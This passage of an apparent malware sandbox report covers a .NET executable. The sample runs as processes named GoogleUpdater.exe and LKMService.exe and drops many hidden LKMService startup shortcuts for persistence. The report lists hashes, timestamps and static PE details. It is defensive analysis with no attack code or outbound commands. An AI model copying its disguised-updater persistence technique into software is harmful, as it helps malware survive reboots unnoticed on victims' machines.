e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ef03ebc379144cfbacc3c963398c9e84.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:56 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937439645017606
Encrypted:	false
SSDEEP:	24:8pGRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pGRjr1R8AZjvgTyF
MD5:	F08664647874BA2FB2C0FBB6103B1059
SHA1:	17798D035211FC5A67DB42C39143FB98D4F37160
SHA-256:	392AF5E39B85B9E486FE3853274A48A24B82595FF44A554041C8DE1EF7DE8964
SHA-512:	14D203C8EE137A6F5D8A324EA6DF7CD24CB011053E80C7A748E628DE58A4DC5618E3B9BBCB1B98423A9A78759A3061FF9999B58E8F9E525566B1D7D18A52190A
Malicious:	false
Preview:	L..................F...."......P....14.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ef0554e7e63746c2aa90a14599fe3c36.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:31 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.940297722610781
Encrypted:	false
SSDEEP:	24:8pRRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pRRjr1R8AZjvgTyF
MD5:	E7F2A2823781179BC76FF191B18123B2
SHA1:	1189CD0F01C3AC904E35C3A4F397ECB253C4088F
SHA-256:	AFAAA2615AAD0AB8755D4983F583C71B2BEAAF18E5E8CD7D0C6BC494DBD85B91
SHA-512:	DCA04BB13E0ACFB9639CF68C4337117C2C9218475F1197402FBE143E859FF4145565DB161DFEF0E51113A07DC721FD24230BB650A8409CA1523B540C2BA66B49
Malicious:	false
Preview:	L..................F...."......P......1P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_efba153a21ad49929ad2ae53a48fbeac.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:29 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.938180438737924
Encrypted:	false
SSDEEP:	24:8pIRZEeYl1RogKrA5+W8Ajfv/42egvqyFm:8pIROr1R8AZjvgTyF
MD5:	01FBE8A9A310F00C569AD7C706C375EB
SHA1:	A4EB5647492BACA0F08F9FAE9D5090E6F1BA7DA5
SHA-256:	005518A0A11DF909F759F1EDD0D20629EA26859BDDB11BECD07A5038B2EDA36C
SHA-512:	A54464F8B92924EA87D151F6A0A80A8F3634993C2EAB0D4B2D35D6FA33AB5F1F263ACD003397515653C795768F265F755C3FA4EFA6644A780AC58C546CB8E152
Malicious:	false
Preview:	L..................F...."......P.....XTP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...\|..TP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f31747700de84b3a92dfed1987c441e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:20 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9415730852494315
Encrypted:	false
SSDEEP:	24:8p5RkeYl1RogKrA5+W8Ajfv/42egvqyFm:8p5Rkr1R8AZjvgTyF
MD5:	DC5ECB6EE153981A6AF22443DAC3F4B2
SHA1:	D4E630B5521640C2F8155B2726A376A16AB465B8
SHA-256:	5DB1057BDBD24D24546F00ADFA74CCBC7EB6D9FD4D29B9EB033108F2EED20731
SHA-512:	172ADDA88EE9275FA5F50AC1E5772C91FFC440F5FB3C0F16B8ABB097EDAE8F80673277CB90650AA9D05DBA039EC98FC02AF5EED1CB2ECB06099541B018BF968E
Malicious:	false
Preview:	L..................F...."......P...%.L.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f44d584e4b3948aa825fd2f68c303c08.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:43 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941346134876754
Encrypted:	false
SSDEEP:	24:8pRORkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pkRkr1R8AZjvgTyF
MD5:	430B30D849428060DDD0E361F687B8BB
SHA1:	0312755C42FC7E5A3C5197694667F0139EDD947D
SHA-256:	F0428D2D8C23FC0D71CA8311CD09F9A36FB4272C39133DFA60230E5718F3C3E5
SHA-512:	EAC74AF7615B63C879A2B3038A959440F3E61FC6A0C5A4B0F62DE829A2334940456795F183DA1B05542EAF84CEAE24425BAED8514D3B72210D451CD2F4FA5F22
Malicious:	false
Preview:	L..................F...."......P...,...P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f526512d48414187b35310aa42fee7db.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:18 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1200
Entropy (8bit):	4.928490579952637
Encrypted:	false
SSDEEP:	12:8gMT4RNfWCFda5l1RaplgKuEDgRtyOxWZ/jA+ZfU1z2TCawuLAYC644t2YZ/elFM:8kRkeYl1RogKrAKZLAafUaPgYC5qyFm
MD5:	289FE550B853D2408C9056CF5A02DE39
SHA1:	977796643CDD324EDB22722A646308EE531D7174
SHA-256:	A6E8834A3FA58CACFDAB219F093DB3DCE59DE9C7AA11B086981C5261AA7E0D37
SHA-512:	327A681F346D8DB858EA8C67038766C2A8226AE396E20734BDC2FB9395DF2D6196F8CAABF097359CF818C610C3B92FAB1131D437EC5AA5CFB2AAA4B2770BF55C
Malicious:	false
Preview:	L..................F....".....H.P.....H.P....m..P....j......................,.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..........................'.0.E.d.g.e.U.p.d.a.t.e.r.....p.2..j..CY.&".GOOGLE~1.EXE..T......CY.&CY.&....i......................c.G.o.o.g.l.e.U.p.d.a.t.e.r...e.x.e.......n...............-.......m...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe..:.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.G.o.o.g.l.e.U.p.d.a.t.e.r...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .}T..b...,.......hT..CrF.f4... .}T..b...,..................1S

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f75f552ad5d747d0a6f42fcc49bc195c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:28 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944289778033292
Encrypted:	false
SSDEEP:	24:8pdRueYl1RogKrA5+W8Ajfv/42egvqyFm:8pdRur1R8AZjvgTyF
MD5:	1772177A588AE47B206A85F533EB00C5
SHA1:	5986D2CE226E34FA50FD554F85D8317E9435B4F9
SHA-256:	DB48787B2FD1C3D5347841B41EE99BB72C3C7E78AC8E676103B3108AFFF8F574
SHA-512:	401A04DF519C3173D85C13F348FBDB7471874AFAE049B57E4E41BE74E23316A29B6C0CDB99D5C93FE837053914BC21B2FB0AEB2195BF81067966E19699B93DCD
Malicious:	false
Preview:	L..................F...."......P....5.SP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......QP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_f8e58d825fa74171bfeca8fc739bf90c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:18 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944188384289624
Encrypted:	false
SSDEEP:	24:8pJRrCeYl1RogKrA5+W8Ajfv/42egvqyFm:8pJRrCr1R8AZjvgTyF
MD5:	A996369685CCA9B838CCAD4946752129
SHA1:	3716E8B2DD4A77F35D59535AED875A22A6BC9E5E
SHA-256:	5C2329469AE3845D7D646F6880201A8CB8AA436C8B024356D59A6F010E3A2A4B
SHA-512:	8717B29A255FEF52991DB7582EA1A2C26675CA7B9F9D03C3C1D3FC9EE6FF3524E9EACDC26F0F390C2160FFEFD492251FBD6D8D5D8C060A3A2CE3838808CA3B98
Malicious:	false
Preview:	L..................F...."......P...h..NP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...:.NP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_fb67aed691754eceb4ae504dcc3e303c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:39 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937396047466613
Encrypted:	false
SSDEEP:	24:8p0RjeYl1RogKrA5+W8Ajfv/42egvqyFm:8p0Rjr1R8AZjvgTyF
MD5:	21571DC10F151EF087685A64B10A8EDC
SHA1:	9EA3B9BEF06B8749E8F438514D6100AAABE66D2A
SHA-256:	7ECB7C92CB351A14357CEE71C546896D83ADDA4C86F86253FAAEDAA57698B069
SHA-512:	14F2026C9C0E0D05249266DD913BB9C73491E109BC22D6821EDBBECFB392A2520B744FE16E9CF1A4D2DA4C296106EA965D7EB8D194D9AC2E09592B1E9746E17C
Malicious:	false
Preview:	L..................F...."......P.....6P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_fd3d815983104781b859fdd43d84f2e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:00 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937676640812262
Encrypted:	false
SSDEEP:	24:8pgRAeYl1RogKrA5+W8Ajfv/42egvqyFm:8pgRAr1R8AZjvgTyF
MD5:	0382742C41012D37065B6AE3EAD191DB
SHA1:	43423E905E8445868A29A5046F27636497456174
SHA-256:	623D6E892650F3407F482D7C3C6E844F49D094A2D38CB18512F142CF490C8890
SHA-512:	8D69BD3AE8EAB40B19D7C6F326BBD0284A9DF04CDAA2BB5365734A49183E973ACBE301F1ADF539B19B3528D7DBF84D28097A350F0A6A003135B301671398AF51
Malicious:	false
Preview:	L..................F...."......P....T.fP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......dP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_ffa014cd80d545b8a6494da3aa96fbd6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:01 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.936086803664825
Encrypted:	false
SSDEEP:	24:8pXqRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pXqRjr1R8AZjvgTyF
MD5:	D408176C9D29019094185463AFFE6BCC
SHA1:	839DEE10CDF7707835E8BA67720FA6CC4859D14B
SHA-256:	96CC543DC7EAC033CD1BFD933B05CD8338249AFF1F92CBDE0030E7B2C4E2C2F5
SHA-512:	2B619C1A59C0172E6554BBDB9275899D47E18FF37462812B3AC270B04B277727F3097EB1AFF2B733E1E6F9A368CCB5EDB616E78FFC08CBA7F1A1183A60294391
Malicious:	false
Preview:	L..................F...."......P...J..CP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.535887181284353
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	27'136 bytes
MD5:	cdb17e17bc4e4d51fde6a4620cec014c
SHA1:	c184c6c58a66555685be713dcd2d11e6f0af7c37
SHA256:	b10c9d5286c17c05f587660664ab7f5723817fc98343c02c6b91ccc562e1019f
SHA512:	acde9cf8b3ee05efe99f5bd1e096e2016f0f6f7fc196f89f6a9592480ee0afe134d4ebdb2a5c6c8782290c5da31b07f9e58cc1722a9fe4bf70d9ca05e1b2417a
SSDEEP:	384:HvVTF7OeRFOJPxyhd/jP+ZhxZL8fDPE5I0+TkFBUM9ekamBrqEjDD2DUj7+uWZFj:H95FOJPxQWV2/k7Uuhq4/+uWz
TLSH:	A1C2D784269C9837EE9F1FBC9C62A6130B728317DA05F34E5CCCD1D46A567824A4D2DF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..`...........~... ........@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x407e9e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xBABCC4CF [Thu Apr 11 19:15:27 2069 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7e44	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8000	0x59e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
